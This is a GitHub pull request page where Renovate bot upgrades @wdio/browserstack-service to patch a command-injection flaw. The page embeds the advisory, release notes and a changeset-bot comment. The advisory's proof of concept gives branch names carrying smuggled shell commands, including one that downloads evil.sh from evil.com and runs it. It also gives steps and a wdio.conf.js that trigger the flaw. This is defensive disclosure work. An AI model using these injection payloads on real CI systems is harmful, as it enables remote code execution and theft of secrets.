chore(deps): update dependency @wdio/browserstack-service to v9 [security] by renovate[bot] · Pull Request #1001 · react-native-documents/document-picker

renovate · 2026-08-11T01:32:05Z

This PR contains the following updates:

Package	Change	Age	Confidence
@wdio/browserstack-service (source)	`8.40.6` → `9.24.0`

WebdriverIO BrowserStack Service has a Command Injection issue

CVE-2026-25244 / GHSA-5c46-x3qw-q7j7

More information

Details

Summary

A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code

File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause

User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.
Git allows to create these branches.

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

Attack Vector

Attacker creates a malicious git repository with a branch name containing command injection payload
Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.
When getGitMetadataForAISelection() executes, it extracts the malicious branch name
Branch name is interpolated into shell commands without sanitization
Shell interprets special characters and executes attacker's commands

PoC

Step 1: Create Malicious Repository Branch

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

Step 2: Configure WebdriverIO

// wdio.conf.js
export const config = {
    services: [
        ['browserstack', {
            user: process.env.BROWSERSTACK_USERNAME,
            key: process.env.BROWSERSTACK_ACCESS_KEY,
            testOrchestrationOptions: {
                runSmartSelection: {
                    enabled: true,
                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
                }
            }
        }]
    ],
    // ... rest of config
}

Step 3: Run Tests

npm run wdio

Step 4: Verify RCE

##### Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt

Impact

Remote Code Execution on CI/CD servers or developer machines
Information Disclosure (environment variables, secrets, credentials)
Data Exfiltration (source code, SSH keys, configuration files)
System Compromise (backdoor installation, lateral movement)
Supply Chain Attack (modify build artifacts)

Severity

CVSS Score: 9.8 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

browserstack/wdio-browserstack-service (@wdio/browserstack-service)

Minor Changes

635fc26: Added support for the skipAppOverride flag.

`v8.49.2`

Compare Source

Patch Changes

effdc1e: - Fixed SDK logs not being uploaded when a test run is interrupted (Ctrl-C or CI job cancellation); interrupted runs are now reported with their termination reason on the build record.

`v8.49.1`

Compare Source

Patch Changes

6073bcc: Fixed skipped tests (it.skip, this.skip() in before/beforeEach hooks) and suites aborted by a failed before hook not being reported to Test Observability when using the CLI. Fixed Automate sessions from skipped/aborted spec files not being linked to the Test Observability build. Fixed hook results not appearing on the dashboard and a failed before hook not failing the build.

`v8.49.0`

Compare Source

Minor Changes

46ee119: BrowserStack now publishes @wdio/browserstack-service from its own repository
(browserstack/wdio-browserstack-service) on an independent release cadence, using npm OIDC
trusted publishing. No change for end users — same package name and the same
services: ['browserstack'] configuration continue to work unchanged.

Patch Changes

f78d091: Declare webdriverio as a dependency instead of a peerDependency, matching the v8 package published from the WebdriverIO monorepo (@wdio/browserstack-service@8.48.3 keeps webdriverio in dependencies at 8.46.0, peering only @wdio/cli). The extraction had moved it into peerDependencies (^8.0.0), which forces the consumer's webdriverio and can npm ERESOLVE against a dep peering a non-overlapping webdriverio range. Restores install parity with the upstream v8 package; no user-facing API change.
29be3ed: Port SDK-6277 (upstream webdriverio/webdriverio#15330): in the CLI/binary (v8) flow, forward screenshot-on-failure to the binary over gRPC as a TEST_SCREENSHOT log (the binary uploads it via its own authorized testhub session) instead of the direct-HTTP onScreenshot path, which 401s under the worker's binary-issued JWT. Also registers the command/result listeners in CLI mode so the user's saveScreenshot()/takeScreenshot() result is captured, and honors the incoming log kind in the mocha CLI framework so screenshots route correctly. Keeps the standalone v8 line at parity with the monorepo.
cc229fe: Port missing upstream monorepo (webdriverio/webdriverio) v8 commits to keep the standalone v8 line at parity:
- webdriverio/webdriverio#15231 — Test Management: add testManagementOptions.testPlanId support (env BROWSERSTACK_TEST_PLAN_ID / --browserstack.testManagementOptions.testPlanId CLI arg / config), forward test_management.test_plan_id in the build-start request, strip CLI-only caps (NOT_ALLOWED_KEYS_IN_CAPS, incl. testManagementOptions) before hitting the hub, and surface build-start errors.
- webdriverio/webdriverio#15217 — gRPC: raise the send/receive message size limit to 20 MB to accommodate large extension payloads.
- webdriverio/webdriverio#15146 — Exit handling: terminate the CLI process with SIGINT instead of SIGKILL on Unix.
- webdriverio/webdriverio#15200 — Logging: redact credentials (username/accesskey/user/key) from CLI log output before writing to file and console.

`v8.48.3`

Compare Source

`v8.48.0`

Compare Source

`v8.47.1`

Compare Source

`v8.47.0`

Compare Source

`v8.46.0`

Compare Source

`v8.45.0`

Compare Source

`v8.44.1`

Compare Source

`v8.44.0`

Compare Source

`v8.43.0`

Compare Source

`v8.42.0`

Compare Source

`v8.41.0`

Compare Source

Configuration

📅 Schedule: (UTC)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

changeset-bot · 2026-08-11T01:32:10Z

⚠️ No Changeset found

Latest commit: 268d20b

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

…rity]

renovate Bot changed the title ~~chore(deps): update dependency @wdio/browserstack-service to v9 [security]~~ chore(deps): update dependency @wdio/browserstack-service to v9 [security] - autoclosed Aug 12, 2026

renovate Bot closed this Aug 12, 2026

renovate Bot deleted the renovate/npm-wdio-browserstack-service-vulnerability branch August 12, 2026 21:56

renovate Bot changed the title ~~chore(deps): update dependency @wdio/browserstack-service to v9 [security] - autoclosed~~ chore(deps): update dependency @wdio/browserstack-service to v9 [security] Aug 13, 2026

renovate Bot reopened this Aug 13, 2026

renovate Bot force-pushed the renovate/npm-wdio-browserstack-service-vulnerability branch from 08f9041 to eaa236a Compare August 13, 2026 17:14

chore(deps): update dependency @wdio/browserstack-service to v9 [secu…

268d20b

…rity]

renovate Bot force-pushed the renovate/npm-wdio-browserstack-service-vulnerability branch from eaa236a to 268d20b Compare August 14, 2026 20:43

Navigation Menu

Uh oh!

Uh oh!

chore(deps): update dependency @wdio/browserstack-service to v9 [security] - #1001

chore(deps): update dependency @wdio/browserstack-service to v9 [security]#1001
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-wdio-browserstack-service-vulnerability

renovate Bot commented Aug 11, 2026 •

edited

Loading

Uh oh!

changeset-bot Bot commented Aug 11, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Uh oh!

Uh oh!

Conversation

renovate Bot commented Aug 11, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

WebdriverIO BrowserStack Service has a Command Injection issue

Details

Summary

Details

Vulnerable Code

Root Cause

Attack Vector

PoC

Step 1: Create Malicious Repository Branch

Step 2: Configure WebdriverIO

Step 3: Run Tests

Step 4: Verify RCE

Impact

Severity

References

Release Notes

Minor Changes

Patch Changes

Patch Changes

Minor Changes

Patch Changes

Configuration

Uh oh!

changeset-bot Bot commented Aug 11, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

⚠️ No Changeset found

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate Bot commented Aug 11, 2026 •

edited

Loading

changeset-bot Bot commented Aug 11, 2026 •

edited

Loading